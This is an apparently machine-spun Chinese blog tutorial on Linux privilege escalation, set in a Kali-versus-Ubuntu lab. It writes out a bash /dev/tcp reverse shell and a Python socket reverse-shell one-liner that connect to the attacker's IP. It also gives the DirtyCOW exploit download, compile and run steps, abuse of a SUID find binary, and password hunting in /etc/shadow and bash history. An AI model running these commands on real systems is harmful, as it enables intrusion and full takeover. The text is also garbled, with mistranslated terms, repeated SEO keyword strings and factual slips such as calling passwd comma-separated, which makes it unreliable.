Linux加壳基础

0x00:Linux加壳方式

大致归纳总结如下:

linux查看操作系统版本号_查看系统版本linux命令_linux 操作系统版本查看

不过最核心也是最常见的提取方式还是内核加壳,其他大多与程序员的配置有关,出现的概率不是很高。

0x01:Linux加壳基础知识

uname -a
查看内核版本
id
显示用户的ID,以及所属群组的ID
pwd
显示当前路径
dpkg -l
rpm -qa
查看已经安装的程序
cat /etc/issue
cat /etc/*-release
查看发行版

密码权限

大部份Linux系统的密码都和/etc/passwd和/etc/shadow这两个配置文件有关,passwd上面存储的是用户,shadow上面储存的是密码的hash值。出于安全考虑passwd是全用户可读,root可写的,而shadow是仅root可读写的。

/etc/passwd

linux 操作系统版本查看_linux查看操作系统版本号_查看系统版本linux命令

passwd由逗号分割,第一列是用户名,第二列是密码,x代表密码hash被置于shadow上面.

/etc/shadow

shadow上面的就是密码的hash,但只有root权限才可以查看。

密码复用

另外须要注意的是好多管理员会重复使用密码,所以有可能数据库或则web后台的密码就是root密码。

加壳常见的流程

wget

下载exp文件

gcc-oexpexp.c

利用gcc进行编译操作,编译成二进制文件

chmod+xexp

exp更改为可执行权限

./exp

运行exp进行提权

0x02:Linux大跌shell

Linux通常领到shelllinux 操作系统版本查看,权限基本都很低,并且在砍刀或其他工具中执行命令没有交互过程(在砍刀等工具中,只是输入返回内容,如在砍刀中执行ssh等命令就不可行),所以须要通过回调shell拥有一个交互式的shell。

打算环境

ubuntu + apache
kail 192.168.186.134
ubuntu 192.168.186.152

上传进去一个php一句话木马,砍刀联接

linux 操作系统版本查看_linux查看操作系统版本号_查看系统版本linux命令

查看当前权限

下边就使用大跌shell的方式获取到交互式shell

第一种方式:

借助最精典也是最常用的方式进行大跌shell,另外大跌shell时设置的端口最好是常用端口,不常用的端口可能会被防火墙给拦截掉。

先进行本地进行监听:
nc -lvp 53
然后在拿到shell的机器上执行:
bash -i >& /dev/tcp/192.168.186.134/53 0>&1

并且执行失败了,没有权限

第二种方式:

借助python脚本进行大跌shell,要将脚本上传到服务器上就要找一个低权限用户可以上传且可以执行的目录,通常在tmp或则/var/tmp中就有这样的权限

linux 操作系统版本查看_查看系统版本linux命令_linux查看操作系统版本号

pyshell

使用方法:
本地监听 nc -l -p 53 -vv
目标机器执行:python back.py 192.168.186.134 53

linux查看操作系统版本号_查看系统版本linux命令_linux 操作系统版本查看

大跌成功,这样就产生了一个交互式的shell,便捷下一步的进行

若果在使用python文件没有权限时,使用如下命令即可,由于该文件是当前用户上传进去的,拥有更改的权限。

chmod 777 back.py

查看系统版本linux命令_linux查看操作系统版本号_linux 操作系统版本查看

0x03:脏牛加壳

DirtyCOW,CVE-2016-5195,功击者可借助该漏洞本地以低权限提高到root权限。DirtyCOW是一个特权升级漏洞,可以在每位Linux发行版中找到。这个漏洞的非常之处在于红旗linux5.0,防病毒和安全软件难以测量,一旦被借助,根本无从知晓。

漏洞在全版本Linux系统(Linux kernel >= 2.6.22)均可以实现提权
如果内核版本低于列表里的版本,表示还存在脏牛漏洞
Centos7 /RHEL7 3.10.0-327.36.3.el7
Cetnos6/RHEL6 2.6.32-642.6.2.el6
Ubuntu 16.10 4.8.0-26.28
Ubuntu 16.04 4.4.0-45.66
Ubuntu 14.04 3.13.0-100.147
Debian 8 3.16.36-1+deb8u2
Debian 7 3.2.82-1

exp地址

在回调shell成功的基础上继续来做

先来看一下操作系统的版本,高于列表里的版本即存在脏牛漏洞

uname -r

通过/etc/passwd了解到超级管理员是root

查看下当前用户的id

下载exp文件

wget https://github.com/FireFart/dirtycow/blob/master/dirty.c

可以看exp中的说明来执行命令

查看系统版本linux命令_linux查看操作系统版本号_linux 操作系统版本查看

先通过gcc来编译dirty.c文件

gcc -pthread dirty.c -o dirty -lcrypt

linux查看操作系统版本号_查看系统版本linux命令_linux 操作系统版本查看

编译好的dirty文件,替换root用户

./dirty

成功替换掉了原先的root用户,加壳成功。

linux查看操作系统版本号_查看系统版本linux命令_linux 操作系统版本查看

脏牛加壳除下这个explinux 操作系统版本查看,还有其他的,比如:CVE-2016-5195,具体就不在演示了,根据说明即可linux获取当前时间,注意文件名不对,自己改下就好。

Linux加壳实战

0x00:Linux剖析工具Linux-exploit-suggester

Linux权限提高初审工具,是基于操作系统的内核版本号。程序会执行“uname-r”命令来获取Linux操作系统发行版本,然后返回一个包含了适用exploits的提示列表。

Linux-exploit-suggester

./linux-exploit-suggester.sh

执行命令即可

linux查看操作系统版本号_linux 操作系统版本查看_查看系统版本linux命令

这样就将存在的漏洞呈现了下来,借助exp加壳即可,十分便捷.

Searchsploit

Searchsploit通过本地的exploit-db,查找软件漏洞信息

使用方式:

searchsploit

linux查看操作系统版本号_查看系统版本linux命令_linux 操作系统版本查看

如需查看CentOS7内核版本为3.10的内核漏洞

searchsploit centos 7 kernel 3.10

查看系统版本linux命令_linux查看操作系统版本号_linux 操作系统版本查看

linux 操作系统版本查看_linux查看操作系统版本号_查看系统版本linux命令

晓得该内核版本下存在什么漏洞即可进行加壳操作

0x02:SUID加壳

哪些是SUID

在Linux中,存在suid、guid、sticky,SUID(设置用户ID)是赋于文件的一种权限,它会出现在文件拥有者权限的执行位上,具有这些权限的文件会在其执行时,使调用者暂时获得该文件拥有者的权限。

假如想要为文件附上这样的权限命令:

chmod u+s
chmod 4755

(有s标志位便是拥有SUID权限)

具体的话大致理解就是通过拥有SUID权限二补码文件或程序可以执行命令等,进而进行root加壳操作

查找符合条件的文件

find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} ;

linux 操作系统版本查看_查看系统版本linux命令_linux查看操作系统版本号

里面的所有二补码文件都可以在root权限下运行,由于属主是root,且权限中富含s

下边就以find命令来实践一下,首先要给find设当SUID权限

chmod u+s /usr/bin/find

假如Find命令也是以Suid权限运行的话,则将通过find执行的所有命令就会以root权限执行。

当前用户为

随意找一个文件主要是为了执行前面的命令

/usr/bin/find pass.txt -exec whoami ;

linux 操作系统版本查看_查看系统版本linux命令_linux查看操作系统版本号

加壳成功,接出来以root用户的身分大跌shell

/usr/bin/find pass.txt -exec python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.186.150",53));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' ;

查看系统版本linux命令_linux 操作系统版本查看_linux查看操作系统版本号

若果出现如下错误,关掉两侧的防火墙即可

linux查看操作系统版本号_查看系统版本linux命令_linux 操作系统版本查看

回调shell成功,其实还有其他命令可以进行加壳,前提是要有SUID权限,这儿就不再举例了。

0x03:历史记录加壳

通过查看历史记录,查看是否有有用的信息,有的管理员为了便捷登录mysql或其他软件时,不经意间加上参数-p,因而将密码曝露下来或则一些.sh脚本联接mysql、vpn等,查看对应的配置文件即可领到帐号密码

cat ~/.bash_history
保存了当前用户使用过的历史命令

linux 操作系统版本查看_linux查看操作系统版本号_查看系统版本linux命令

假如领到数据库的帐号密码,有可能就是root密码

0x04:计划任务加壳

系统内可能会有一些定时执行的任务,通常这种任务由crontab来管理,具有所属用户的权限。非root权限的用户是不可以列举root用户的计划任务的。并且/etc/内系统的计划任务可以被列举

ls -l /etc/cron*

linux查看操作系统版本号_linux 操作系统版本查看_查看系统版本linux命令

默认这种程序是以root权限执行,假如有任意用户可写的脚本,我们就可以更改脚本等回连rootshell了。

0x05:配置错误引起加壳

自动找假如对Linux系统不熟悉的话基本是找不到的,所以可以借助工具去查找

unix-privesc-check:

linuxprivchecker:

查看系统版本linux命令_linux查看操作系统版本号_linux 操作系统版本查看

检测了特别多的配置问题,并且还列举了所有的可写文件,假若找到有配置问题的便可以进行加壳操作。

总结

经过此次学习,简单的算是对Linux加壳有了一定的了解,但还有好多坐姿须要去学习,还是须要不断去积累。

参考博客

Tagged:
Author

这篇优质的内容由TA贡献而来

刘遄

《Linux就该这么学》书籍作者,RHCA认证架构师,教育学(计算机专业硕士)。

发表回复